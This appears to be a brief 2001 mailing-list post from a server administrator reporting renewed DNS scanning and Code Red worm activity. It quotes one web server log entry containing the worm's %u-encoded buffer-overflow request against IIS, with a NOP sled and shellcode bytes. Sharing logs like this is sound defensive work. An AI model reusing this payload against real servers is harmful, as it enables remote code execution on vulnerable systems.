    Yep, the DNS scans are definitely picking back up again.  Code Red or
    some variant seems to have woken back up in the last 12 hours or so as
    well, plus I just saw this one:
    
    xxx.xxx.xxx.xxx - - [30/Aug/2001:10:04:34 -0700] "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
    HTTP/1.1" 400
    
    It's happened more than once, and it's coming from the same IP that's
    also doing the normal code red thing.
